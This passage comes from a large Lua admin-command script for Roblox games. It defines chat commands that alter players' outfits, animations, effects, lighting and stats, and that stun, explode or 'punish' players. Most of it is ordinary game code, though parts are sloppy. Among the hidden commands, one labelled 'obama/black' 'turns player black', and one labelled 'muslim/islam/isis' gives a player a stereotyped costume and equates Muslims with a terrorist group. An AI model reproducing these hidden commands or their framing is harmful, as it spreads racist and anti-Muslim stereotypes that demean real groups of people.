6962 local Players = STRING:Scan(Arguments[1], Speaker)
6963 for _,Player in pairs(Players) do
6964 if Player.Character and Player:FindFirstChild("PlayerGui") then
6965 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
6966 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MML Drug"
6967 local Frame = Instance.new("Frame", SG) Frame.Size = UDim2.new(1,0,1,0) Frame.BackgroundTransparency = 0.5
6968 local Stop = false
6969 coroutine.wrap(function()
6970 repeat
6971 Frame.BackgroundColor3 = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
6972 wait(0.1)
6973 until not SG or not SG.Parent
6974 end)()
6975 CORE:ExecuteResource("Drug", Player.Character)
6976 end
6977 end
6978 end};
6979
6980 [{"nodrug", "nolsd", "undrug", "unlsd"}] = {"player", "Removes drug effect", 1, "Member", false, function(Speaker, Rank, Arguments)
6981 local Players = STRING:Scan(Arguments[1], Speaker)
6982 for _,Player in pairs(Players) do
6983 if Player:FindFirstChild("PlayerGui") then
6984 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
6985 wait() CORE:RestoreCamera(Player)
6986 end
6987 end
6988 end};
6989
6990 [{"searchg", "searchgear"}] = {"string", "Searches the catalog for the gear string", 1, "Member", false, function(Speaker, Rank, Arguments)
6991 local AbuseMode = false
6992 if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
6993 MARKET:ShowSearch(Speaker, 5, Arguments[1], function(ID)
6994 if Speaker:FindFirstChild("Backpack") then
6995 CORE:Insert(ID, Speaker.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
6996 end
6997 end)
6998 end, Http = true};
6999
7000 [{"searchh", "searchhat"}] = {"string", "Searches the catalog for the hat string)", 1, "Member", false, function(Speaker, Rank, Arguments)
7001 MARKET:ShowSearch(Speaker, 3, Arguments[1], function(ID)
7002 if Speaker.Character then
7003 CORE:Insert(ID, Speaker.Character, true, {"Hat"})
7004 end
7005 end, 9)
7006 end, Http = true};
7007
7008 [{"searchp", "searchpack", "searchpackage"}] = {"string", "Searches the catalog for the package string", 1, "Member", false, function(Speaker, Rank, Arguments)
7009 MARKET:ShowSearch(Speaker, 4, Arguments[1], function(ID)
7010 if Speaker.Character then
7011 CORE:GivePackage(Speaker, ID)
7012 end
7013 end, 11)
7014 end, Http = true};
7015
7016 [{"nopackage", "nopack", "unpackage", "unpack"}] = {"player", "Removes all packages from player", 1, "Member", false, function(Speaker, Rank, Arguments)
7017 local Players = STRING:Scan(Arguments[1], Speaker)
7018 for _,Player in pairs(Players) do
7019 CORE:GivePackage(Player)
7020 end
7021 end};
7022
7023 [{"package", "pack", "morph"}] = {"player num(ID)", "Gives player the package with num(ID), a few packages don't need http service because they're in the cache, but most do", 2, "Member", false, function(Speaker, Rank, Arguments)
7024 local Players = STRING:Scan(Arguments[1], Speaker)
7025 for _,Player in pairs(Players) do
7026 CORE:GivePackage(Player, Arguments[2])
7027 end
7028 end, Http = true};
7029
7030 [{"change", "changestat", "changeleaderstat", "changestats", "changeleaderstats"}] = {"player string(key) value(string/num)", "Changes player's leaderstats for key(Coins, money, ext) to value", 3, "Member", false, function(Speaker, Rank, Arguments)
7031 local Players = STRING:Scan(Arguments[1], Speaker)
7032 for _,Player in pairs(Players) do
7033 local Stats = Player:FindFirstChild("leaderstats")
7034 if Stats ~= nil then
7035 for _,Stat in pairs(Stats:GetChildren()) do
7036 if string.sub(string.lower(Stat.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
7037 ypcall(function() Stat.Value = Arguments[3] end)
7038 end
7039 end
7040 end
7041 end
7042 end};
7043
7044 [{"shirt"}] = {"player num(ID)", "Changes player's shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7045 local ID = tonumber(Arguments[2])
7046 local Players = STRING:Scan(Arguments[1], Speaker)
7047 for _,Player in pairs(Players) do
7048 for _,Player in pairs(Players) do
7049 if Player.Character ~= nil then
7050 local Obj = Player.Character:FindFirstChild("Shirt")
7051 if Obj then
7052 Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7053 else
7054 Obj = Instance.new("Shirt", Player.Character) Obj.Name = "Shirt" Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7055 end
7056 coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
7057 end
7058 end
7059 end
7060 end};
7061
7062 [{"pants"}] = {"player num(ID)", "Changes player's pants to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7063 local ID = tonumber(Arguments[2])
7064 local Players = STRING:Scan(Arguments[1], Speaker)
7065 for _,Player in pairs(Players) do
7066 for _,Player in pairs(Players) do
7067 if Player.Character ~= nil then
7068 local Obj = Player.Character:FindFirstChild("Pants")
7069 if Obj then
7070 Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7071 else
7072 Obj = Instance.new("Pants", Player.Character) Obj.Name = "Pants" Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7073 end
7074 coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
7075 end
7076 end
7077 end
7078 end};
7079
7080 [{"tshirt"}] = {"player num(ID)", "Changes player's T-shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7081 local ID = tonumber(Arguments[2])
7082 local Players = STRING:Scan(Arguments[1], Speaker)
7083 for _,Player in pairs(Players) do
7084 for _,Player in pairs(Players) do
7085 if Player.Character ~= nil then
7086 if Player.Character:FindFirstChild("Torso") then
7087 local Obj1 = Player.Character:FindFirstChild("Shirt Graphic")
7088 local Obj2 = Player.Character.Torso:FindFirstChild("roblox")
7089 if Obj1 then
7090 Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
7091 else
7092 Obj1 = Instance.new("ShirtGraphic", Player.Character) Obj1.Name = "Shirt Graphic" Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
7093 end
7094 if Obj2 then
7095 Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID)
7096 else
7097 Obj2 = Instance.new("Decal", Player.Character.Torso) Obj2.Name = "roblox" Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID) Obj2.Face = "Front"
7098 end
7099 coroutine.wrap(function() Obj1.Parent = nil wait(0.1) Obj1.Parent = Player.Character end)()
7100 coroutine.wrap(function() Obj2.Parent = nil wait(0.2) Obj2.Parent = Player.Character.Torso end)()
7101 end
7102 end
7103 end
7104 end
7105 end};
7106
7107 [{"oder", "od", "onlinedater", "onlinedate"}] = {"player", "Changes player's character to be an online dater", 1, "Member", false, function(Speaker, Rank, Arguments)
7108 local Players = STRING:Scan(Arguments[1], Speaker)
7109 for _,Player in pairs(Players) do
7110 CORE:ChangeCharacter(Player, OderIDs[math.random(1,#OderIDs)], false, Speaker)
7111 end
7112 end};
7113
7114 [{"cookie"}] = {"player", "Gives player a cookie if the speaker is in the admin group", 1, "Member", false, function(Speaker, Rank, Arguments)
7115 if CORE:InAdminGroup(Speaker) then
7116 local Players = STRING:Scan(Arguments[1], Speaker)
7117 for _,Player in pairs(Players) do
7118 if Player:FindFirstChild("Backpack") then
7119 local Tool = Instance.new("Tool", Player.Backpack) Tool.Name = "Cookie" Tool.ToolTip = "Yey! Cookies!" Tool.GripForward = Vector3.new(0,1,0) Tool.GripPos = Vector3.new(0.1,-0.3,-0.1) Tool.GripRight = Vector3.new(0,0,-1) Tool.GripUp = Vector3.new(0.01,0,1)
7120 local Handle = Instance.new("Part", Tool) Handle.Name = "Handle" Handle.Size = Vector3.new(1,1,1)
7121 local Mesh = Instance.new("SpecialMesh", Handle) Mesh.MeshType = "FileMesh" Mesh.Scale = Vector3.new(0.4,0.4,0.4) Mesh.MeshId = "rbxassetid://20939848" Mesh.TextureId = "rbxassetid://21456464"
7122 local Anim = Instance.new("Animation", Tool) Anim.Name = "EatCookie" Anim.AnimationId = "rbxassetid://29517689"
7123 CORE:ExecuteResource("CookieTool", Tool)
7124 end
7125 end
7126 end
7127 end};
7128
7129 [{"decal", "image"}] = {"num(ID)", "Allows player to insert num(ID) as a decal", 1, "Member", false, function(Speaker, Rank, Arguments)
7130 if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7131 CORE:ExecuteResource("InsertDecal", Speaker.Backpack, {["DecalID"] = MARKET:GetImageFormat(tonumber(Arguments[1]))})
7132 end
7133 end};
7134
7135 [{"insert", "model", "ins"}] = {"num(ID)", "Allows player to insert num(ID) as a model(Only works if the model is owned by the owner of the game or ROBLOX)", 1, "Member", false, function(Speaker, Rank, Arguments)
7136 if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7137 local Model = CORE:Insert(tonumber(Arguments[1]), game:GetService("ReplicatedStorage"))
7138 Model:MakeJoints()
7139 for i = 1,math.random(10,20) do
7140 Model.Name = Model.Name..string.char(math.random(97,122))
7141 end
7142 if Model:GetChildren()[1] then
7143 table.insert(Objects, Model)
7144 CORE:ExecuteResource("InsertModel", Speaker.Backpack, {["Model"] = Model})
7145 end
7146 end
7147 end};
7148
7149 [{"animate", "animation", "anim"}] = {"player num(ID)", "Animates player to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7150 local ID = tonumber(Arguments[2])
7151 local Players = STRING:Scan(Arguments[1], Speaker)
7152 for _,Player in pairs(Players) do
7153 if Player.Character then
7154 CORE:ExecuteResource("PlayAnimation", Player.Character, {["AnimationID"] = Arguments[2]})
7155 end
7156 end
7157 end};
7158
7159 [{"noanimate", "moanimation", "noanim", "unanimate", "unanimation", "unanim"}] = {"player", "Stops animations playing from the animate command", 1, "Member", false, function(Speaker, Rank, Arguments)
7160 local Players = STRING:Scan(Arguments[1], Speaker)
7161 for _,Player in pairs(Players) do
7162 if Player.Character then
7163 local StopAnim = Player.Character:FindFirstChild("Stop MML Animate")
7164 if StopAnim then StopAnim:Destroy() end
7165 end
7166 end
7167 end};
7168
7169 [{"ambient"}] = {"Color3(1) Color3(2) Color3(3)", "Changes the ambient lighting to Red - Color3(1) Green - Color3(2) Blue - Color3(3) (Out of 255)", 3, "Member", false, function(Speaker, Rank, Arguments)
7170 if tonumber(Arguments[1]) and tonumber(Arguments[2]) and tonumber(Arguments[3]) then
7171 Server.Lighting.Ambient = Color3.new(tonumber(Arguments[1])/255,tonumber(Arguments[2])/255,tonumber(Arguments[3])/255)
7172 end
7173 end};
7174
7175 [{"brightness", "bright"}] = {"num", "Changes the lighting brightness to num", 1, "Member", false, function(Speaker, Rank, Arguments)
7176 if tonumber(Arguments[1]) then
7177 Server.Lighting.Brightness = tonumber(Arguments[1])
7178 end
7179 end};
7180
7181 [{"pl", "playerlist"}] = {"player", "Enables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7182 local Players = STRING:Scan(Arguments[1], Speaker)
7183 for _,Player in pairs(Players) do
7184 GUI:CoreGui(Player, "PlayerList", true)
7185 end
7186 end};
7187
7188 [{"npl", "nopl", "unpl", "noplayerlist", "unplayerlist"}] = {"player", "Disables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7189 local Players = STRING:Scan(Arguments[1], Speaker)
7190 for _,Player in pairs(Players) do
7191 local Players = STRING:Scan(Arguments[1], Speaker)
7192 GUI:CoreGui(Player, "PlayerList", false)
7193 end
7194 end};
7195
7196 [{"bc", "tbc", "obc"}] = {"player", "What do you know, it's a real command!", 1, "Member", false, function(Speaker, Rank, Arguments)
7197 GUI:SendMessage(Speaker, "Wow, you thought this was a command", "Did you look at the comments by chance?", 5253865)
7198 end, Hidden = true};
7199
7200 [{"obama", "black", "1337"}] = {"player", "Turns player black", 1, "Member", false, function(Speaker, Rank, Arguments)
7201 local Players = STRING:Scan(Arguments[1], Speaker)
7202 for _,Player in pairs(Players) do
7203 CORE:ChangeCharacter(Player, 1337, false, Speaker)
7204 end
7205 end, Hidden = true};
7206
7207 [{"muslim", "islam", "isis"}] = {"player", "Turns player into a muslim", 1, "Member", false, function(Speaker, Rank, Arguments)
7208 local Players = STRING:Scan(Arguments[1], Speaker)
7209 for _,Player in pairs(Players) do
7210 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7211 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
7212 Player:ClearCharacterAppearance()
7213 CORE:Insert(12436480, Player.Character, true)
7214 Player.Character.Head.face.Texture = "rbxassetid://110287880"
7215 Instance.new("Shirt", Player.Character).ShirtTemplate = "rbxassetid://205596436"
7216 Instance.new("Pants", Player.Character).PantsTemplate = "rbxassetid://205596483"
7217 end
7218 end
7219 end, Hidden = true};
7220
7221 [{"noob", "noobify", "boon"}] = {"player", "Turns player into a noob", 1, "Member", false, function(Speaker, Rank, Arguments)
7222 local Players = STRING:Scan(Arguments[1], Speaker)
7223 for _,Player in pairs(Players) do
7224 CORE:ChangeCharacter(Player, 0, false, Speaker)
7225 end
7226 end};
7227
7228 [{"bet"}] = {"string", "Changes the bet to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7229 local Bet = Arguments[1]
7230 if Bet == "/" or Bet == "-" or Bet == "(" or Bet == ")" then
7231 GUI:SendMessage(Speaker, "Cannot change bet", "RED Illegal characters used to become a bet", "Error")
7232 elseif #Bet > 5 then
7233 GUI:SendMessage(Speaker, "Bet too long", "RED The bet is too long and is over 5 characters (You have "..#Bet.." characters)", "Error")
7234 else
7235 local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the bet", "You are about to change the bet from '"..Settings.Bet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me, Continue?", "Question", {"Yes", "No"})
7236 if Answer == "Yes" then
7237 local OldBet = Settings.Bet
7238 CORE:ChangeBet(Bet)
7239 GUI:MessageAdmins("Bet Change", "The bet has changed from '"..OldBet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..OldBet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me")
7240 end
7241 end
7242 end};
7243
7244 [{"prefix"}] = {"string", "Changes the prefix to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7245 local Prefix = Arguments[1]
7246 if #Prefix > 5 then
7247 GUI:SendMessage(Speaker, "Prefix too long", "RED The Prefix is too long and is over 5 characters (You have "..#Prefix.." characters)", "Error")
7248 else
7249 local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the Prefix", "You are about to change the Prefix from '"..Settings.Prefix.."' to '"..Prefix.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me, Continue?", "Question", {"Yes", "No"})
7250 if Answer == "Yes" then
7251 local OldPrefix = Settings.Prefix
7252 Settings.Prefix = Prefix
7253 GUI:MessageAdmins("Prefix Change", "The Prefix has changed from '"..OldPrefix.."' to '"..Prefix.."' and commands like "..OldPrefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me")
7254 end
7255 end
7256 end};
7257
7258 [{"commandbar", "cmdbar", "cbar", "commandgui", "cmdgui", "cgui", "commandbox", "cmdbox", "cbox"}] = {"", "Gives you a command bar to enter commands", 0, "Member", false, function(Speaker, Rank, Arguments)
7259 GUI:CommandBar(Speaker)
7260 end};
7261
7262 [{"permcommandbar", "permcmdbar", "permcommandgui", "permcmdgui"}] = {"", "Gives you a command bar for each time you spawn", 0, "Admin", false, function(Speaker, Rank, Arguments)
7263 GUI:CommandBar(Speaker)
7264 PermCommandBars[Speaker.Name] = true
7265 end};
7266
7267 [{"nopermcommandbar", "nopermcmdbar", "nopermcommandgui", "nopermcmdgui", "unpermcommandbar", "unpermcmdbar", "unpermcommandgui", "unpermcmdgui"}] = {"", "If you are in the perm command bar list, it takes you out(You keep command bar for current spawn)", 0, "Admin", false, function(Speaker, Rank, Arguments)
7268 PermCommandBars[Speaker.Name] = nil
7269 end};
7270
7271 [{"remotenopermcommandbar", "remotenopermcmdbar", "remotenopermcommandgui", "remotenopermcmdgui", "remoteunpermcommandbar", "remoteunpermcmdbar", "remoteunpermcommandgui", "remoteunpermcmdgui"}] = {"player", "If player is in the perm command bar list, it takes player out(player keep command bar for current spawn)", 1, "Owner", false, function(Speaker, Rank, Arguments)
7272 local Players = STRING:Scan(Arguments[1], Speaker)
7273 for _,Player in pairs(Players) do
7274 PermCommandBars[Player.Name] = nil
7275 end
7276 end};
7277
7278 [{"dummy", "newdummy", "dum", "figure"}] = {"", "Creates a dummy", 0, "Member", false, function(Speaker, Rank, Arguments)
7279 CORE:CreateFigure("Dummy", nil, true, Speaker)
7280 end};
7281
7282 [{"namedummy", "dummyname", "namenewdummy", "namedum", "dumname", "namefigure", "ndummy", "nnewdummy", "ndum", "nfigure"}] = {"string", "Creates a dummy named string", 1, "Member", false, function(Speaker, Rank, Arguments)
7283 CORE:CreateFigure(Arguments[1], nil, true, Speaker)
7284 end};
7285
7286 [{"clone", "copy"}] = {"player", "Creates clone of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7287 local Players = STRING:Scan(Arguments[1], Speaker)
7288 for _,Player in pairs(Players) do
7289 CORE:ClonePlayer(Player)
7290 end
7291 end};
7292
7293 [{"nameclone", "clonename", "namecopy", "nclone", "ncopy"}] = {"player string", "Creates clone of player named string", 2, "Member", false, function(Speaker, Rank, Arguments)
7294 local Players = STRING:Scan(Arguments[1], Speaker)
7295 for _,Player in pairs(Players) do
7296 CORE:ClonePlayer(Player, Arguments[2])
7297 end
7298 end};
7299
7300 [{"clear", "clr"}] = {"", "Clears debris in workspace left by the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
7301 for _,Obj in pairs(Objects) do
7302 if Obj then Obj:Destroy() end
7303 end
7304 for Name,Jail in pairs(Jails) do
7305 if not game.Players:FindFirstChild(Name) then
7306 Jail:Destroy()
7307 Jails[Name] = nil
7308 end
7309 end
7310 Objects = {}
7311 end};
7312
7313 [{"clean", "cln"}] = {"", "Clears debris in workspace by players", 0, "Member", false, function(Speaker, Rank, Arguments)
7314 for _,Obj in pairs(Server.Workspace:GetChildren()) do
7315 if Obj:IsA("Hat") or Obj:IsA("Tool") then
7316 Obj:Destroy()
7317 end
7318 end
7319 end};
7320
7321 [{"sparkles", "sparks"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7322 local Players = STRING:Scan(Arguments[1], Speaker)
7323 for _,Player in pairs(Players) do
7324 if Player.Character and Player.Character:FindFirstChild("Torso") then
7325 local Sparkles = Instance.new("Sparkles", Player.Character.Torso) table.insert(Objects, Sparkles)
7326 end
7327 end
7328 end};
7329
7330 [{"fire"}] = {"player", "Makes player catch on fire", 1, "Member", false, function(Speaker, Rank, Arguments)
7331 local Players = STRING:Scan(Arguments[1], Speaker)
7332 for _,Player in pairs(Players) do
7333 if Player.Character and Player.Character:FindFirstChild("Torso") then
7334 local Fire = Instance.new("Fire", Player.Character.Torso) table.insert(Objects, Fire)
7335 end
7336 end
7337 end};
7338
7339 [{"smoke"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7340 local Players = STRING:Scan(Arguments[1], Speaker)
7341 for _,Player in pairs(Players) do
7342 if Player.Character and Player.Character:FindFirstChild("Torso") then
7343 local Smoke = Instance.new("Smoke", Player.Character.Torso) table.insert(Objects, Smoke)
7344 end
7345 end
7346 end};
7347
7348 [{"nosparkles", "nosparks", "unsparkles", "unsparks"}] = {"player", "Removes any sparkling effects to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7349 local Players = STRING:Scan(Arguments[1], Speaker)
7350 for _,Player in pairs(Players) do
7351 if Player.Character and Player.Character:FindFirstChild("Torso") then
7352 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7353 if Get:IsA("Sparkles") then
7354 Get:Destroy()
7355 end
7356 end
7357 end
7358 end
7359 end};
7360
7361 [{"nofire", "unfire"}] = {"player", "Removes player's fire effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7362 local Players = STRING:Scan(Arguments[1], Speaker)
7363 for _,Player in pairs(Players) do
7364 if Player.Character and Player.Character:FindFirstChild("Torso") then
7365 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7366 if Get:IsA("Fire") then
7367 Get:Destroy()
7368 end
7369 end
7370 end
7371 end
7372 end};
7373
7374 [{"nosmoke", "unsmoke"}] = {"player", "Removes player's smoke effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7375 local Players = STRING:Scan(Arguments[1], Speaker)
7376 for _,Player in pairs(Players) do
7377 if Player.Character and Player.Character:FindFirstChild("Torso") then
7378 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7379 if Get:IsA("Smoke") then
7380 Get:Destroy()
7381 end
7382 end
7383 end
7384 end
7385 end};
7386
7387 [{"explode", "explosion"}] = {"player", "Explodes player and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7388 local Players = STRING:Scan(Arguments[1], Speaker)
7389 for _,Player in pairs(Players) do
7390 if Player.Character and Player.Character:FindFirstChild("Torso") then
7391 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7392 local Boom = Instance.new("Explosion", Workspace)
7393 Boom.Position = Player.Character.Torso.Position
7394 end
7395 end
7396 end};
7397
7398 [{"splode", "smite"}] = {"player", "Explodes player 50 times and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7399 local Players = STRING:Scan(Arguments[1], Speaker)
7400 for _,Player in pairs(Players) do
7401 if Player.Character and Player.Character:FindFirstChild("Torso") then
7402 coroutine.wrap(function() for i = 1,50 do
7403 local Boom = Instance.new("Explosion", Workspace)
7404 Boom.Position = Player.Character.Torso.Position
7405 wait()
7406 end end)()
7407 coroutine.wrap(function() for i = 1,5 do
7408 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7409 end end)()
7410 end
7411 end
7412 end};
7413
7414 [{"superjump", "nograv", "lowgrav"}] = {"player", "Enables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7415 local Players = STRING:Scan(Arguments[1], Speaker)
7416 for _,Player in pairs(Players) do
7417 if Player.Character and Player.Character:FindFirstChild("Torso") then
7418 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7419 Force = Instance.new("BodyForce", Player.Character.Torso) Force.Name = "LMM SJ" Force.force = Vector3.new(0,0,0)
7420 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj) Force.force = Force.force + Vector3.new(0,Obj:GetMass() * 150,0) end)
7421 end
7422 end
7423 end};
7424
7425 [{"normaljump", "grav", "nosuperjump", "unsuperjump"}] = {"player", "Disables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7426 local Players = STRING:Scan(Arguments[1], Speaker)
7427 for _,Player in pairs(Players) do
7428 if Player.Character and Player.Character:FindFirstChild("Torso") then
7429 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7430 end
7431 end
7432 end};
7433
7434 [{"punish"}] = {"player", "Punishes player by removing player's character", 1, "Member", false, function(Speaker, Rank, Arguments)
7435 local Players = STRING:Scan(Arguments[1], Speaker)
7436 for _,Player in pairs(Players) do
7437 if Player.Character then
7438 Player.Character.Parent = Server.Lighting
7439 end
7440 end
7441 end};
7442
7443 [{"nopunish", "unpunish"}] = {"player", "Undoes the punish effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7444 local Players = STRING:Scan(Arguments[1], Speaker)
7445 for _,Player in pairs(Players) do
7446 if Player.Character then
7447 Player.Character.Parent = Server.Workspace
7448 Player.Character:MakeJoints()
7449 end
7450 end
7451 end};
7452
7453 [{"stun", "platformstand"}] = {"player", "Stuns player so he cannot move", 1, "Member", false, function(Speaker, Rank, Arguments)
7454 local Players = STRING:Scan(Arguments[1], Speaker)
7455 for _,Player in pairs(Players) do
7456 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7457 Player.Character.Humanoid.PlatformStand = true
7458 end
7459 end
7460 end};
7461
7462 [{"nostun", "unstun", "noplatformstand", "unplatformstand", "stand"}] = {"player", "Undoes the stun effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7463 local Players = STRING:Scan(Arguments[1], Speaker)
7464 for _,Player in pairs(Players) do
7465 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7466 Player.Character.Humanoid.PlatformStand = false
7467 end
7468 end
7469 end};
7470
7471 [{"jump"}] = {"player", "Makes player jump", 1, "Member", false, function(Speaker, Rank, Arguments)
7472 local Players = STRING:Scan(Arguments[1], Speaker)
7473 for _,Player in pairs(Players) do
7474 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7475 Player.Character.Humanoid.Jump = true
7476 end
7477 end
7478 end};
7479
7480 [{"sit", "sitdown"}] = {"player", "Makes player sit down", 1, "Member", false, function(Speaker, Rank, Arguments)
7481 local Players = STRING:Scan(Arguments[1], Speaker)
7482 for _,Player in pairs(Players) do
7483 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7484 Player.Character.Humanoid.Sit = true
7485 end
7486 end
7487 end};
7488
7489 [{"nosit", "unsit", "nositdown", "unsitdown", "stand", "standup"}] = {"player", "Makes player stand up if sitting down", 1, "Member", false, function(Speaker, Rank, Arguments)
7490 local Players = STRING:Scan(Arguments[1], Speaker)
7491 for _,Player in pairs(Players) do
7492 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7493 Player.Character.Humanoid.Sit = false
7494 end
7495 end
7496 end};
7497
7498 [{"spin", "turn", "spinaround"}] = {"player", "Makes player spin around", 1, "Member", false, function(Speaker, Rank, Arguments)
7499 local Players = STRING:Scan(Arguments[1], Speaker)
7500 for _,Player in pairs(Players) do
7501 if Player.Character and Player.Character:FindFirstChild("Torso") then
7502 local Spin = Instance.new("BodyAngularVelocity", Player.Character.Torso) Spin.Name = "MML Spin" Spin.maxTorque = Vector3.new(0, math.huge, 0) Spin.angularvelocity = Vector3.new(0,20,0)
7503 end
7504 end
7505 end};
7506
7507 [{"nospin", "unspin", "noturn", "unturn", "nospinaround", "unspinaround"}] = {"player", "Stops player from spinning around", 1, "Member", false, function(Speaker, Rank, Arguments)
7508 local Players = STRING:Scan(Arguments[1], Speaker)
7509 for _,Player in pairs(Players) do
7510 if Player.Character and Player.Character:FindFirstChild("Torso") then
7511 local Spin = Player.Character.Torso:FindFirstChild("MML Spin") if Spin then Spin:Destroy() end
7512 end
7513 end
7514 end};
7515
7516 [{"port"}] = {"", "Gets the server network port", 0, "Owner", false, function(Speaker, Rank, Arguments)
7517 GUI:SendMessage(Speaker, "Server Port", "The server port for this server is: "..Server.NS.Port, "Information")
7518 end};
7519
7520 [{"chat"}] = {"player (color) string", "Makes player chat string. If color is available the color will be set to it", 2, "Member", false, function(Speaker, Rank, Arguments)
7521 local Color = "Blue"
7522 local String = Arguments[2]
7523 local ChatSplit = STRING:GetSplit(String, 1, Settings.Bet)
7524 if #ChatSplit >= 2 then
7525 if string.lower(ChatSplit[1]) == "green" then
7526 Color = "Green"
7527 String = ChatSplit[2]
7528 elseif string.lower(ChatSplit[1]) == "red" then
7529 Color = "Red"
7530 String = ChatSplit[2]
7531 end
7532 end
7533 local Players = STRING:Scan(Arguments[1], Speaker)
7534 for _,Player in pairs(Players) do
7535 if Player.Character and Player.Character:FindFirstChild("Head") then
7536 game:GetService("Chat"):Chat(Player.Character.Head, String, Color)
7537 end
7538 end
7539 end};
7540
7541 [{"missile", "mis", "rocket"}] = {"player", "Turns player into a missile. Use with care!", 1, "Admin", true, function(Speaker, Rank, Arguments)
7542 local Players = STRING:Scan(Arguments[1], Speaker)
7543 for _,Player in pairs(Players) do
7544 if Player.Character then
7545 CORE:ExecuteResource("Missile", Player.Character, {["Color"] = GUI:GetColor()})
7546 end
7547 end
7548 end};
7549
7550 [{"face"}] = {"player num(ID)", "Changes player's faces player num(ID) (must be decal/image)", 2, "Member", false, function(Speaker, Rank, Arguments)
7551 local Players = STRING:Scan(Arguments[1], Speaker)
7552 local ID = nil
7553 if tonumber(Arguments[2]) ~= nil then
7554 ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
7555 else
7556 for FaceTable,FaceID in pairs({[{":3", "=3", ";3"}] = "45448697", [{":D", "=D", ";D"}] = "40528907", [{"D:", "D=", "D;"}] = "147285493", [{":(", "=(", ";(", "):", ")=", ");"}] = "67493660", [{":)", "=)", ";)", "(:", "(=", "(;"}] = "41420967", [{":o", "=o", ";o", "o:", "o=", "o;", ":0", "=0", ";0", "0:", "0=", "0;"}] = "14995229", [{":P", "=P", ";P"}] = "35853859", [{":/", "=/", ";/", "/:", "/=", "/;", [[:\]], [[=\]], [[;\]], [[\:]], [[\=]], [[\;]]}] = "141764028", [{":I", "=I", ";I", "I:", "I=", "I;", ":|", "=|", ";|", "|:", "|=", "|;"}] = "14922431"}) do
7557 for _,Face in pairs(FaceTable) do
7558 if string.lower(Arguments[2]) == string.lower(Face) then
7559 ID = FaceID
7560 break
7561 end
7562 end
7563 end
7564 end
7565 if ID then
7566 for _,Player in pairs(Players) do
7567 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7568 Player.Character.Head.face.Texture = "rbxassetid://"..ID
7569 pcall(function() Player.Character.Label:GetChildren()[1].Head.Texture = "rbxassetid://"..ID end)
7570 end
7571 end
7572 end
7573 end};
7574
7575 [{"overlay", "ol"}] = {"player num(ID)", "Turns player's head into a 2D images of num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7576 local Players = STRING:Scan(Arguments[1], Speaker)
